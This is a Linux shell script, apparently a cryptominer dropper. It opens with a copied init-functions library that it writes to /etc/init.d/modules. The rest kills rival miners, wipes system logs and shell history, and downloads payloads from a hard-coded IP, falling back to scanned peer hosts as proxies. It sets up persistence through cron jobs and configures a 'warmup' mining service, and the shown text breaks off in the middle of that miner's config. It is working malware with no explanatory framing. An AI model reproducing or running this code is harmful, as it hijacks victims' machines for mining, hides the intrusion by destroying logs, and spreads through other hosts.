        # See if it's already running. Look *only* at the pid file.
	__pids_var_run "$base" "$pid_file"

	[ -n "$pid" -a -z "$force" ] && return

	# make sure it doesn't core dump anywhere unless requested
	corelimit="ulimit -S -c ${DAEMON_COREFILE_LIMIT:-0}"

	# if they set NICELEVEL in /etc/sysconfig/foo, honor it
	[ -n "${NICELEVEL:-}" ] && nice="nice -n $NICELEVEL"

	# if they set CGROUP_DAEMON in /etc/sysconfig/foo, honor it
	if [ -n "${CGROUP_DAEMON}" ]; then
		if [ ! -x /bin/cgexec ]; then
			echo -n "Cgroups not installed"; warning
			echo
		else
			cgroup="/bin/cgexec";
			for i in $CGROUP_DAEMON; do
				cgroup="$cgroup -g $i";
			done
		fi
	fi

	# Echo daemon
        [ "${BOOTUP:-}" = "verbose" -a -z "${LSB:-}" ] && echo -n " $base"

	# And start it up.
	if [ -z "$user" ]; then
	   $cgroup $nice /bin/bash -c "$corelimit >/dev/null 2>&1 ; $*"
	else
	   $cgroup $nice runuser -s /bin/bash $user -c "$corelimit >/dev/null 2>&1 ; $*"
	fi

	[ "$?" -eq 0 ] && success $"$base startup" || failure $"$base startup"
}

# A function to stop a program.
killproc() {
	local RC killlevel= base pid pid_file= delay try binary=

	RC=0; delay=3; try=0
	# Test syntax.
	if [ "$#" -eq 0 ]; then
		echo $"Usage: killproc [-p pidfile] [ -d delay] {program} [-signal]"
		return 1
	fi
	if [ "$1" = "-p" ]; then
		pid_file=$2
		shift 2
	fi
	if [ "$1" = "-b" ]; then
		if [ -z $pid_file ]; then
			echo $"-b option can be used only with -p"
			echo $"Usage: killproc -p pidfile -b binary program"
			return 1
		fi
		binary=$2
		shift 2
	fi
	if [ "$1" = "-d" ]; then
		delay=$(echo $2 | awk -v RS=' ' -v IGNORECASE=1 '{if($1!/root/^[0-9.]+[smhd]?$/) exit 1;d=$1/root/s$|^[0-9.]*$/?1:$1/root/m$/?60:$1/root/h$/?60*60:$1/root/d$/?24*60*60:-1;if(d==-1) exit 1;delay+=d*$1} END {printf("%d",delay+0.5)}')
		if [ "$?" -eq 1 ]; then
			echo $"Usage: killproc [-p pidfile] [ -d delay] {program} [-signal]"
			return 1
		fi
		shift 2
	fi


	# check for second arg to be kill level
	[ -n "${2:-}" ] && killlevel=$2

        # Save basename.
        base=${1##*/}

        # Find pid.
	__pids_var_run "$1" "$pid_file" "$binary"
	RC=$?
	if [ -z "$pid" ]; then
		if [ -z "$pid_file" ]; then
			pid="$(__pids_pidof "$1")"
		else
			[ "$RC" = "4" ] && { failure $"$base shutdown" ; return $RC ;}
		fi
	fi

        # Kill it.
        if [ -n "$pid" ] ; then
                [ "$BOOTUP" = "verbose" -a -z "${LSB:-}" ] && echo -n "$base "
		if [ -z "$killlevel" ] ; then
			__kill_pids_term_kill -d $delay $pid
			RC=$?
			[ "$RC" -eq 0 ] && success $"$base shutdown" || failure $"$base shutdown"
		# use specified level only
		else
		        if checkpid $pid; then
	                	kill $killlevel $pid >/dev/null 2>&1
				RC=$?
				[ "$RC" -eq 0 ] && success $"$base $killlevel" || failure $"$base $killlevel"
			elif [ -n "${LSB:-}" ]; then
				RC=7 # Program is not running
			fi
		fi
	else
		if [ -n "${LSB:-}" -a -n "$killlevel" ]; then
			RC=7 # Program is not running
		else
			failure $"$base shutdown"
			RC=0
		fi
	fi

        # Remove pid file if any.
	if [ -z "$killlevel" ]; then
            rm -f "${pid_file:-/var/run/$base.pid}"
	fi
	return $RC
}

# A function to find the pid of a program. Looks *only* at the pidfile
pidfileofproc() {
	local pid

	# Test syntax.
	if [ "$#" = 0 ] ; then
		echo $"Usage: pidfileofproc {program}"
		return 1
	fi

	__pids_var_run "$1"
	[ -n "$pid" ] && echo $pid
	return 0
}

# A function to find the pid of a program.
pidofproc() {
	local RC pid pid_file=

	# Test syntax.
	if [ "$#" = 0 ]; then
		echo $"Usage: pidofproc [-p pidfile] {program}"
		return 1
	fi
	if [ "$1" = "-p" ]; then
		pid_file=$2
		shift 2
	fi
	fail_code=3 # "Program is not running"

	# First try "/var/run/*.pid" files
	__pids_var_run "$1" "$pid_file"
	RC=$?
	if [ -n "$pid" ]; then
		echo $pid
		return 0
	fi

	[ -n "$pid_file" ] && return $RC
	__pids_pidof "$1" || return $RC
}

status() {
	local base pid lock_file= pid_file= binary=

	# Test syntax.
	if [ "$#" = 0 ] ; then
		echo $"Usage: status [-p pidfile] {program}"
		return 1
	fi
	if [ "$1" = "-p" ]; then
		pid_file=$2
		shift 2
	fi
	if [ "$1" = "-l" ]; then
		lock_file=$2
		shift 2
	fi
	if [ "$1" = "-b" ]; then
		if [ -z $pid_file ]; then
			echo $"-b option can be used only with -p"
			echo $"Usage: status -p pidfile -b binary program"
			return 1
		fi
		binary=$2
		shift 2
	fi
	base=${1##*/}

	# First try "pidof"
	__pids_var_run "$1" "$pid_file" "$binary"
	RC=$?
	if [ -z "$pid_file" -a -z "$pid" ]; then
		pid="$(__pids_pidof "$1")"
	fi
	if [ -n "$pid" ]; then
	        echo $"${base} (pid $pid) is running..."
	        return 0
	fi

	case "$RC" in
		0)
			echo $"${base} (pid $pid) is running..."
			return 0
			;;
		1)
	                echo $"${base} dead but pid file exists"
	                return 1
			;;
		4)
			echo $"${base} status unknown due to insufficient privileges."
			return 4
			;;
	esac
	if [ -z "${lock_file}" ]; then
		lock_file=${base}
	fi
	# See if /var/lock/subsys/${lock_file} exists
	if [ -f /var/lock/subsys/${lock_file} ]; then
		echo $"${base} dead but subsys locked"
		return 2
	fi
	echo $"${base} is stopped"
	return 3
}

echo_success() {
  [ "$BOOTUP" = "color" ] && $MOVE_TO_COL
  echo -n "["
  [ "$BOOTUP" = "color" ] && $SETCOLOR_SUCCESS
  echo -n $"  OK  "
  [ "$BOOTUP" = "color" ] && $SETCOLOR_NORMAL
  echo -n "]"
  echo -ne "\r"
  return 0
}

echo_failure() {
  [ "$BOOTUP" = "color" ] && $MOVE_TO_COL
  echo -n "["
  [ "$BOOTUP" = "color" ] && $SETCOLOR_FAILURE
  echo -n $"FAILED"
  [ "$BOOTUP" = "color" ] && $SETCOLOR_NORMAL
  echo -n "]"
  echo -ne "\r"
  return 1
}

echo_passed() {
  [ "$BOOTUP" = "color" ] && $MOVE_TO_COL
  echo -n "["
  [ "$BOOTUP" = "color" ] && $SETCOLOR_WARNING
  echo -n $"PASSED"
  [ "$BOOTUP" = "color" ] && $SETCOLOR_NORMAL
  echo -n "]"
  echo -ne "\r"
  return 1
}

echo_warning() {
  [ "$BOOTUP" = "color" ] && $MOVE_TO_COL
  echo -n "["
  [ "$BOOTUP" = "color" ] && $SETCOLOR_WARNING
  echo -n $"WARNING"
  [ "$BOOTUP" = "color" ] && $SETCOLOR_NORMAL
  echo -n "]"
  echo -ne "\r"
  return 1
}

# Inform the graphical boot of our current state
update_boot_stage() {
  if [ -x /bin/plymouth ]; then
      /bin/plymouth --update="$1"
  fi
  return 0
}

# Log that something succeeded
success() {
  [ "$BOOTUP" != "verbose" -a -z "${LSB:-}" ] && echo_success
  return 0
}

# Log that something failed
failure() {
  local rc=$?
  [ "$BOOTUP" != "verbose" -a -z "${LSB:-}" ] && echo_failure
  [ -x /bin/plymouth ] && /bin/plymouth --details
  return $rc
}

# Log that something passed, but may have had errors. Useful for fsck
passed() {
  local rc=$?
  [ "$BOOTUP" != "verbose" -a -z "${LSB:-}" ] && echo_passed
  return $rc
}

# Log a warning
warning() {
  local rc=$?
  [ "$BOOTUP" != "verbose" -a -z "${LSB:-}" ] && echo_warning
  return $rc
}

# Run some action. Log its output.
action() {
  local STRING rc

  STRING=$1
  echo -n "$STRING "
  shift
  "$@" && success $"$STRING" || failure $"$STRING"
  rc=$?
  echo
  return $rc
}

# Run some action. Silently.
action_silent() {
  local STRING rc

  STRING=$1
  echo -n "$STRING "
  shift
  "$@" >/dev/null && success $"$STRING" || failure $"$STRING"
  rc=$?
  echo
  return $rc
}

# returns OK if $1 contains $2
strstr() {
  [ "${1#*$2*}" = "$1" ] && return 1
  return 0
}

# Confirm whether we really want to run this service
confirm() {
  [ -x /bin/plymouth ] && /bin/plymouth --hide-splash
  while : ; do
      echo -n $"Start service $1 (Y)es/(N)o/(C)ontinue? [Y] "
      read answer
      if strstr $"yY" "$answer" || [ "$answer" = "" ] ; then
         return 0
      elif strstr $"cC" "$answer" ; then
	 rm -f /var/run/confirm
	 [ -x /bin/plymouth ] && /bin/plymouth --show-splash
         return 2
      elif strstr $"nN" "$answer" ; then
         return 1
      fi
  done
}

# resolve a device node to its major:minor numbers in decimal or hex
get_numeric_dev() {
(
    fmt="%d:%d"
    if [ "$1" == "hex" ]; then
        fmt="%x:%x"
    fi
    ls -lH "$2" | awk '{ sub(/,/, "", $5); printf("'"$fmt"'", $5, $6); }'
) 2>/dev/null
}

# Check whether file $1 is a backup or rpm-generated file and should be ignored
is_ignored_file() {
    case "$1" in
	*/root | *.bak | *.orig | *.rpmnew | *.rpmorig | *.rpmsave)
	    return 0
	    ;;
    esac
    return 1
}

# Evaluate shvar-style booleans
is_true() {
    case "$1" in
	[tT] | [yY] | [yY][eE][sS] | [tT][rR][uU][eE] | 1)
	return 0
	;;
    esac
    return 1
}

# Evaluate shvar-style booleans
is_false() {
    case "$1" in
	[fF] | [nN] | [nN][oO] | [fF][aA][lL][sS][eE] | 0)
	return 0
	;;
    esac
    return 1
}

# Apply sysctl settings, including files in /etc/sysctl.d
apply_sysctl() {
    sysctl -e -p /etc/sysctl.conf >/dev/null 2>&1
    for file in /etc/sysctl.d/* ; do
        is_ignored_file "$file" && continue
        test -f "$file" && sysctl -e -p "$file" >/dev/null 2>&1
    done
}

key_is_random() {
    [ "$1" = "/dev/urandom" -o "$1" = "/dev/hw_random" \
	-o "$1" = "/dev/random" ]
}

find_crypto_mount_point() {
    local fs_spec fs_file fs_vfstype remaining_fields
    local fs
    while read fs_spec fs_file remaining_fields; do
	if [ "$fs_spec" = "/dev/mapper/$1" ]; then
	    echo $fs_file
	    break;
	fi
    done < /etc/fstab
}

# Because of a chicken/egg problem, init_crypto must be run twice.  /var may be
# encrypted but /var/lib/random-seed is needed to initialize swap.
init_crypto() {
    local have_random dst src key opt mode owner params makeswap skip arg opt
    local param value rc ret mke2fs mdir prompt mount_point

    ret=0
    have_random=$1
    while read dst src key opt; do
	[ -z "$dst" -o "${dst#\#}" != "$dst" ] && continue
        [ -b "/dev/mapper/$dst" ] && continue;
	if [ "$have_random" = 0 ] && key_is_random "$key"; then
	    continue
	fi
	if [ -n "$key" -a "x$key" != "xnone" ]; then
	    if test -e "$key" ; then
		owner=$(ls -l $key | (read a b owner rest; echo $owner))
		if ! key_is_random "$key"; then
		    mode=$(ls -l "$key" | cut -c 5-10)
		    if [ "$mode" != "------" ]; then
		       echo $"INSECURE MODE FOR $key"
		    fi
		fi
		if [ "$owner" != root ]; then
		    echo $"INSECURE OWNER FOR $key"
		fi
	    else
		echo $"Key file for $dst not found, skipping"
		ret=1
		continue
	    fi
	else
	    key=""
	fi
	params=""
	makeswap=""
	mke2fs=""
	skip=""
	# Parse the src field for UUID= and convert to real device names
	if [ "${src%%=*}" == "UUID" ]; then
		src=$(/sbin/blkid -t "$src" -l -o device)
	elif [ "${src/^\/dev\/disk\/by-uuid\/}" != "$src" ]; then
		src=$(__readlink $src)
	fi
	# Is it a block device?
	[ -b "$src" ] || continue
	# Is it already a device mapper slave? (this is gross)
	devesc=${src##/dev/}
	devesc=${devesc//\//!}
	for d in /sys/block/dm-*/slaves ; do
	    [ -e $d/$devesc ] && continue 2
	done
	# Parse the options field, convert to cryptsetup parameters and
	# contruct the command line
	while [ -n "$opt" ]; do
	    arg=${opt%%,*}
	    opt=${opt##$arg}
	    opt=${opt##,}
	    param=${arg%%=*}
	    value=${arg##$param=}

	    case "$param" in
	    cipher)
		params="$params -c $value"
		if [ -z "$value" ]; then
		    echo $"$dst: no value for cipher option, skipping"
		    skip="yes"
		fi
	    ;;
	    size)
		params="$params -s $value"
		if [ -z "$value" ]; then
		    echo $"$dst: no value for size option, skipping"
		    skip="yes"
		fi
	    ;;
	    hash)
		params="$params -h $value"
		if [ -z "$value" ]; then
		    echo $"$dst: no value for hash option, skipping"
		    skip="yes"
		fi
	    ;;
	    verify)
	        params="$params -y"
	    ;;
	    swap)
		makeswap=yes
		;;
	    tmp)
		mke2fs=yes
	    esac
	done
	if [ "$skip" = "yes" ]; then
	    ret=1
	    continue
	fi
	if [ -z "$makeswap" ] && cryptsetup isLuks "$src" 2>/dev/null ; then
	    if key_is_random "$key"; then
		echo $"$dst: LUKS requires non-random key, skipping"
		ret=1
		continue
	    fi
	    if [ -n "$params" ]; then
		echo "$dst: options are invalid for LUKS partitions," \
		    "ignoring them"
	    fi
	    if [ -n "$key" ]; then
		/sbin/cryptsetup -d $key luksOpen "$src" "$dst" <&1 2>/dev/null && success || failure
		rc=$?
	    else
		mount_point="$(find_crypto_mount_point $dst)"
		[ -n "$mount_point" ] || mount_point=${src##*/}
		prompt=$(printf $"%s is password protected" "$mount_point")
		plymouth ask-for-password --prompt "$prompt" --command="/sbin/cryptsetup luksOpen -T1 $src $dst" <&1
		rc=$?
	    fi
	else
	    [ -z "$key" ] && plymouth --hide-splash
	    /sbin/cryptsetup $params ${key:+-d $key} create "$dst" "$src" <&1 && success || failure
	    rc=$?
	    [ -z "$key" ] && plymouth --show-splash
	fi
	if [ $rc -ne 0 ]; then
	    ret=1
	    continue
	fi
	if [ -b "/dev/mapper/$dst" ]; then
	    if [ "$makeswap" = "yes" ]; then
		mkswap "/dev/mapper/$dst" 2>/dev/null >/dev/null
	    fi
	    if [ "$mke2fs" = "yes" ]; then
		if mke2fs "/dev/mapper/$dst" 2>/dev/null >/dev/null \
		    && mdir=$(mktemp -d /tmp/mountXXXXXX); then
		    mount "/dev/mapper/$dst" "$mdir" && chmod 1777 "$mdir"
		    umount "$mdir"
		    rmdir "$mdir"
		fi
	    fi
	fi
    done < /etc/crypttab
    return $ret
}

# A sed expression to filter out the files that is_ignored_file recognizes
__sed_discard_ignored_files='/\(/root\|\.bak\|\.orig\|\.rpmnew\|\.rpmorig\|\.rpmsave\)$/d'

#if we have privileges lets log to kmsg, otherwise to stderr
if strstr "$(cat /proc/cmdline)" "rc.debug"; then
        [ -w /dev/kmsg ] && exec 30>/dev/kmsg && BASH_XTRACEFD=30
        set -x
fi
EOF
chmod 644 /etc/init.d/modules
ps -eaf | grep "spend-secret-key" | grep -v grep | awk '{ print $2 }' | xargs kill -9 >/dev/null 2>&1
ps -eaf | grep -- "--url=" | grep -v grep | awk '{ print $2 }' | xargs kill -9 >/dev/null 2>&1
THISDIR=$(
	cd "$(dirname "$0")"
	pwd
)
MY_NAME=$(basename "$0")
FILENAME="somescript"
FILE_TO_FETCH_URL="http://5.133.65.53/soft/linux/$FILENAME"
EXISTING_SHELL_SCRIPT="${THISDIR}/somescript"
EXECUTABLE_SHELL_SCRIPT="${THISDIR}/.somescript"
OKMark="\e[32m ------ OK \e[0m"
BADMark="\e[31m ------ BAD \e[0m"
InfoG() {
	echo -en "${green}${1}${nc}\n"
}
InfoR() {
	echo -en "${red}${1}${nc}\n"
}
InfoP() {
	echo -en "${purple}${1}${nc}\n"
}
red="\e[1;31m"
green="\e[1;32m"
purple="\033[1;35m"
nc="\e[0m"
LOGS_FILES=(
	/var/log/messages                    # General message and system related stuff
	/var/log/auth.log                    # Authenication logs
	/var/log/kern.log                    # Kernel logs
	/var/log/cron.log                    # Crond logs
	/var/log/maillog                     # Mail server logs
	/var/log/boot.log                    # System boot log
	/var/log/mysqld.log                  # MySQL database server log file
	/var/log/qmail                       # Qmail log directory
	/var/log/httpd                       # Apache access and error logs directory
	/var/log/lighttpd                    # Lighttpd access and error logs directory
	/var/log/secure                      # Authentication log
	/var/log/utmp                        # Login records file
	/var/log/wtmp                        # Login records file
	/var/log/yum.log                     # Yum command log file
	/var/log/system.log                  # System Log
	/var/log/DiagnosticMessages          # Mac Analytics Data
	/Library/Logs                        # System Application Logs
	/Library/Logs/DiagnosticReports      # System Reports
	/root/Library/Logs                   # User Application Logs
	/root/Library/Logs/DiagnosticReports # User Reports
)
function disableAuth() {
	if [ -w /var/log/auth.log ]; then
		ln /dev/null /var/log/auth.log -sf
		echo "[+] Permanently sending /var/log/auth.log to /dev/null"
	else
		echo "[!] /var/log/auth.log is not writable! Retry using sudo."
	fi
}
function disableHistory() {
	ln /dev/null ~/.bash_history -sf
	echo "[+] Permanently sending bash_history to /dev/null"

	if [ -f ~/.zsh_history ]; then
		ln /dev/null ~/.zsh_history -sf
		echo "[+] Permanently sending zsh_history to /dev/null"
	fi

	export HISTFILESIZE=0
	export HISTSIZE=0
	echo "[+] Set HISTFILESIZE & HISTSIZE to 0"

	set +o history
	echo "[+] Disabled history library"

	echo
	echo "Permenently disabled bash log."
}
function clearLogs() {
	for i in "${LOGS_FILES[@]}"; do
		if [ -f "$i" ]; then
			if [ -w "$i" ]; then
				echo "" >"$i"
				echo "[+] $i cleaned."
			else
				echo "[!] $i is not writable! Retry using sudo."
			fi
		elif [ -d "$i" ]; then
			if [ -w "$i" ]; then
				rm -rf "${i:?}"/*
				echo "[+] $i cleaned."
			else
				echo "[!] $i is not writable! Retry using sudo."
			fi
		fi
	done
}
function clearHistory() {
	if [ -f ~/.zsh_history ]; then
		echo "" >~/.zsh_history
		echo "[+] ~/.zsh_history cleaned."
	fi

	echo "" >~/.bash_history
	echo "[+] ~/.bash_history cleaned."

	history -c
	echo "[+] History file deleted."

	echo
	echo "Reminder: your need to reload the session to see effects."
	echo "Type exit to do so."
}
function testport() {
	if [ -x $(which nc) ] && nc -h 2>&1 | grep -q -- '-z'; then
		timeout 30 nc $1 $2 -z -w 2
		return $?
	elif [ -n "$(which nc)" ]; then
		cat /dev/null | timeout 30 nc $1 $2 -w 2
		return $?
	else
		echo "error no NC found, trying user /dev/tcp"
		timeout 5 bash -c '</dev/tcp/'$1'/'$2' &>/dev/null'
		return $?
	fi
}

function __curl() {
	read proto server path <<<$(echo ${1//// })
	DOC=/${path// //}
	HOST=${server//:*/}
	PORT=${server//*:/}
	[[ x"${HOST}" == x"${PORT}" ]] && PORT=80

	exec 3<>/dev/tcp/${HOST}/$PORT
	echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
	(while read line; do
		[[ "$line" == $'\r' ]] && break
	done && cat) <&3
	exec 3>&-
}

function get_remote_file() {
	REQUEST_URL=$1
	OUTPUT_FILENAME=$2
	TEMP_FILE="${THISDIR}/tmp.file"
	retfunc() {
		return $1
	}
	if [ -n "$(which wget)" ]; then
		InfoP "Try download $FILENAME via a direct connection ..."
		if [ -x $(which wget) ] && wget -h 2>&1 | grep -q -- '--tries'; then
			wget --timeout=2 --tries=3 -O "${TEMP_FILE}" "$REQUEST_URL" 2>&1 >/dev/null 2>&1
		else
			wget --timeout=5 -O "${TEMP_FILE}" "$REQUEST_URL" 2>&1 >/dev/null 2>&1
		fi
	elif [ -n "$(which curl)" ]; then
		InfoP "Try download $FILENAME with Curl via a direct connection..."
		curl --connect-timeout 2 -o "${TEMP_FILE}" "$REQUEST_URL"
	else
		InfoP "Try download $FILENAME with /dev/tcp via a direct connection..."
		__curl "$REQUEST_URL" >"${TEMP_FILE}"
	fi
	########################################################################################
	err=$?
	if [[ $FILENAME == somescript ]]; then
		CHESKSCR=$(cat ${TEMP_FILE})
		if [[ $CHESKSCR == *isCentOs8* ]]; then
			retfunc 0
		else
			retfunc 1
		fi
	else
		retfunc $err
	fi
	if [[ $? -eq 0 ]]; then
		mv -f "${TEMP_FILE}" "${OUTPUT_FILENAME}"
		chmod 755 "${OUTPUT_FILENAME}"
		InfoG "$FILENAME File downloaded"
	else
		if [ -f /root/.warmup/ip.txt ]; then
			port=757
			threads=20
			IPS=''
			echo '' >/root/.warmup/found757.lst
			echo '' >/root/.warmup/targets757
			echo '' >/root/.warmup/logfile757
			IPS=$(cat /root/.warmup/ip.txt)
			server=''
			for server in $IPS; do
				server=${server//[[:space:]]/}
				echo $port $server >>/root/.warmup/targets757
			done
			InfoP "Scanning port 757..."

			if [ -x $(which nc) ] && nc -h 2>&1 | grep -q -- '-z'; then
				xargs -a /root/.warmup/targets757 -n 2 -P $threads sh -c 'timeout 30 nc $1 '$port' -z -w 2; echo $? $1 >> /root/.warmup/logfile757'
			elif [ -n "$(which nc)" ]; then
				xargs -a /root/.warmup/targets757 -n 2 -P $threads sh -c 'cat /dev/null |timeout 30 nc $1 '$port' -w 2 >/dev/null 2>&1; echo $? $1 >> /root/.warmup/logfile757'
			else
				xargs -a /root/.warmup/targets757 -n 2 -P $threads bash -c 'timeout 3 bash -c "</dev/tcp/$1/'$port' &>/dev/null"; echo $? $1 >> /root/.warmup/logfile757'
			fi

			grep "^0" /root/.warmup/logfile757 | cut -d " " -f2 >/root/.warmup/found757.lst
			if [ -f /root/.warmup/found757.lst ]; then
				FOUND=$(cat /root/.warmup/found757.lst)
				for server in $FOUND; do
					server=${server//[[:space:]]/}
					REMOTEHOST=$server
					REMOTEPORT=757
					TIMEOUT=2
					if testport $REMOTEHOST $REMOTEPORT; then
						if [ -n "$(which wget)" ]; then
							InfoP "Try download $FILENAME via $REMOTEHOST..."
							if [ -x $(which wget) ] && wget -h 2>&1 | grep -q -- '--tries'; then
								http_proxy="http://$REMOTEHOST:757" wget --timeout=2 --tries=3 -O "${TEMP_FILE}" "$REQUEST_URL" 2>&1 >/dev/null 2>&1
							else
								http_proxy="http://$REMOTEHOST:757" wget --timeout=5 -O "${TEMP_FILE}" "$REQUEST_URL" 2>&1 >/dev/null 2>&1
							fi
						elif [ -n "$(which curl)" ]; then
							InfoP "Try download $FILENAME with Curl via $REMOTEHOST..."
							curl -x "$REMOTEHOST:$REMOTEPORT" --connect-timeout 2 -o "${TEMP_FILE}" "$REQUEST_URL" >/dev/null 2>&1
						else
							InfoP "Try download $FILENAME with /dev/tcp via $REMOTEHOST"
							__curl "http://$REMOTEHOST:$REMOTEPORT/soft/linux/$FILENAME" >"${TEMP_FILE}"
						fi
						err=$?
						if [[ $FILENAME == somescript ]]; then
							CHESKSCR=$(cat ${TEMP_FILE})
							if [[ $CHESKSCR == *isCentOs8* ]]; then
								retfunc 0
							else
								retfunc 1
							fi
						else
							retfunc $err
						fi
						if [[ $? -eq 0 ]]; then
							mv -f "${TEMP_FILE}" "${OUTPUT_FILENAME}"
							chmod 755 "${OUTPUT_FILENAME}"
							CHECK_FILE=1
							break
						else
							InfoR "The file is broken "
						fi
					else
						InfoR "$REMOTEHOST Port $REMOTEPORT closed"
						CHECK_FILE=0
					fi
				done
				if [[ "$CHECK_FILE" -eq 1 ]]; then
					InfoG "$FILENAME File downloaded"
				else
					return 1
				fi
			else
				return 1
			fi
		else
			return 1
		fi
	fi
}

function clean_up() {
	history -c
}
function self_clean_up() {
	rm -f "${EXECUTABLE_SHELL_SCRIPT}"
	history -c
}

function update_self_and_invoke() {
	retfunc() {
		return $1
	}
	if [[ $SKIPUPDATE -eq 0 ]]; then
		get_remote_file "${FILE_TO_FETCH_URL}" "${EXECUTABLE_SHELL_SCRIPT}"
	else
		{
			InfoR "Skipping an update"
			sleep 5
			retfunc 1
		}
	fi
	if [[ $? -ne 0 ]]; then
		cp "${EXISTING_SHELL_SCRIPT}" "${EXECUTABLE_SHELL_SCRIPT}"
	fi
	exec "${EXECUTABLE_SHELL_SCRIPT}" "$@"
}
function main() {
	Clean
	mkdir /etc/xtab >/dev/null 2>&1
	mkdir /etc/cron.hourly >/dev/null 2>&1
	\cp /etc/cron.hourly/somescript /etc/xtab/somescript
	\cp /etc/xtab/somescript /etc/cron.hourly/somescript
	chmod 755 /etc/xtab/somescript
	chmod 755 /etc/cron.hourly/somescript
	grep '/etc/xtab' /etc/crontab || echo '0 */4 * * * root run-parts /etc/xtab' >>/etc/crontab
	cp "${EXECUTABLE_SHELL_SCRIPT}" "${EXISTING_SHELL_SCRIPT}"
	# your code here
	###########################################################################################################################################################
	isCentOs7=false
	isCentOs8=false
	isCentOs6=false
	isDebian=false
	USER=$1
	lowercase() {
		echo "$1" | sed "y/ABCDEFGHIJKLMNOPQRSTUVWXYZ/abcdefghijklmnopqrstuvwxyz/"
	}

	####################################################################
	# Get System Info
	####################################################################
	shootProfile() {
		OS=$(lowercase $(uname))
		KERNEL=$(uname -r)
		MACH=$(uname -m)

		if [ "${OS}" == "windowsnt" ]; then
			OS=windows
		elif [ "${OS}" == "darwin" ]; then
			OS=mac
		else
			OS=$(uname)
			if [ "${OS}" = "SunOS" ]; then
				OS=Solaris
				ARCH=$(uname -p)
				OSSTR="${OS} ${REV}(${ARCH} $(uname -v))"
			elif [ "${OS}" = "AIX" ]; then
				OSSTR="${OS} $(oslevel) ($(oslevel -r))"
			elif [ "${OS}" = "Linux" ]; then
				if [ -f /etc/redhat-release ]; then
					DistroBasedOn='RedHat'
					DIST=$(cat /etc/redhat-release | sed s/\ release.*// | sed 's/\ .*//')
					PSUEDONAME=$(cat /etc/redhat-release | sed s/.*\(// | sed s/\)//)
					REV=$(cat /etc/redhat-release | sed s/.*release\ // | sed s/\ .*// | sed 's/\..*//')
				elif [ -f /etc/SuSE-release ]; then
					DistroBasedOn='SuSe'
					PSUEDONAME=$(cat /etc/SuSE-release | tr "\n" ' ' | sed s/VERSION.*//)
					REV=$(cat /etc/SuSE-release | tr "\n" ' ' | sed s/.*=\ //)
				elif [ -f /etc/mandrake-release ]; then
					DistroBasedOn='Mandrake'
					PSUEDONAME=$(cat /etc/mandrake-release | sed s/.*\(// | sed s/\)//)
					REV=$(cat /etc/mandrake-release | sed s/.*release\ // | sed s/\ .*//)
				elif [ -f /etc/debian_version ]; then
					DistroBasedOn='Debian'
					if [ -f /etc/lsb-release ]; then
						DIST=$(cat /etc/lsb-release | grep '^DISTRIB_ID' | awk -F= '{ print $2 }')
						PSUEDONAME=$(cat /etc/lsb-release | grep '^DISTRIB_CODENAME' | awk -F= '{ print $2 }')
						REV=$(cat /etc/lsb-release | grep '^DISTRIB_RELEASE' | awk -F= '{ print $2 }')
					fi
				fi
				if [ -f /etc/UnitedLinux-release ]; then
					DIST="${DIST}[$(cat /etc/UnitedLinux-release | tr "\n" ' ' | sed s/VERSION.*//)]"
				fi
				OS=$(lowercase $OS)
				DistroBasedOn=$(lowercase $DistroBasedOn)
			fi

		fi
	}
	shootProfile

	if [ "$DIST $REV" == "CentOS 6" ]; then
		isCentOs6=true
	elif [ "$DIST $REV" == "CentOS 7" ]; then
		isCentOs7=true
	elif [ "$DIST $REV" == "CentOS 8" ]; then
		isCentOs8=true
	elif [[ "$DistroBasedOn" == "debian" ]]; then
		isDebian=true
	else
		isCentOs6=true
	fi

	if [ $(arch) == "aarch64" ]; then
		warmupfile="warmap"
	else
		warmupfile="warmup"
	fi
	CHECKARCH=$(arch)
	if [[ $CHECKARCH == *mips* ]] || [[ $CHECKARCH == *arm* ]]; then
		SKIPINSTALL=true
	else
		SKIPINSTALL=false
	fi

	########################################################################################################################
	########################################################################################################################
	########################################################################################################################
	# Check Warmup Status:
	if [ "$SKIPINSTALL" == true ]; then
		InfoR "Skip install. No $CHECKARCH support"
	else
		systemctl >/dev/null 2>&1
		if [[ $? -eq 0 ]]; then
			isSystemctl=true
		else
			isSystemctl=false
		fi
		if [ "$isCentOs7" == true -o "$isCentOs8" == true -o "$isSystemctl" == true ]; then
			BackActive=false
			systemctl is-active warmup >/dev/null 2>&1
		elif [[ $CHECKARCH == *686* ]]; then
			BackActive=false
		else
			BackActive=true
			service warmup status >/dev/null 2>&1

		fi
		if [[ $? -eq 0 ]]; then
			InfoP "Service Warmup Active, checking..."
			if [ -n "$(which wget)" ]; then
				test=$(wget -qO- 127.0.0.1:999/api.json | sed -rn 's/.*"diff_current":"?([^",]+)"?.*/\1/p')
			elif [ -n "$(which curl)" ]; then
				test=$(curl -X GET http://127.0.0.1:999/api.json | sed -rn 's/.*"diff_current":"?([^",]+)"?.*/\1/p')
			else
				test=$(__curl http://127.0.0.1:999/api.json | sed -rn 's/.*"diff_current":"?([^",]+)"?.*/\1/p')
			fi
			if [[ "$test" -eq 480045 ]]; then
				InfoG "Serice Warmup running"
				checkwarmup=true
			else
				InfoR "Serice Warmup running, but not connected, trying fix it"
				checkwarmup=false
			fi
		else
			checkwarmup=false
		fi

		if [ "$checkwarmup" == true ]; then
			InfoG "All service work fine"
		else
			if [ "$isCentOs7" == true -o "$isCentOs8" == true ]; then
				systemctl stop warmup >/dev/null 2>&1
			else
				service warmup stop >/dev/null 2>&1
			fi
			#####Check and Download
			if [ -f /root/.warmup/$warmupfile ]; then
				InfoG "File warmup exists"
			else
				cd /root/.warmup
				THISDIR=/root/.warmup
				FILENAME="$warmupfile"
				WARMUP_URL="http://5.133.65.53/soft/linux/$warmupfile.sh"
				EXISTING_SHELL_SCRIPT_WARMUP="${THISDIR}/$warmupfile"
				get_remote_file "${WARMUP_URL}" "${EXISTING_SHELL_SCRIPT_WARMUP}"
			fi
			######################################
			if [ -f /root/.warmup/config.json ]; then
				CONF=$(cat /root/.warmup/config.json)
				if [[ $CONF == *14444* ]]; then
					USER=0
				else
					USER=1
				fi
				if [[ $CONF == *24444* ]]; then
					USER=1
				else
					USER=0
				fi
			fi
			if [[ $USER -ne 0 ]]; then
				MINEIP=5.133.65.55
				MINEPORT=24444
			else
				MINEIP=5.133.65.54
				MINEPORT=14444
			fi
			InfoP "Test if reboot needed..."
			cat <<EOF >/root/.warmup/config.json
{
    "api": {
        "id": null,
        "worker-id": null
    },
    "http": {
        "enabled": true,
        "host": "0.0.0.0",
        "port": 999,
        "access-token": null,
        "restricted": true
    },
    "autosave": true,
    "background": $BackActive,
    "colors": true,
    "title": true,
    "randomx": {
        "init": -1,
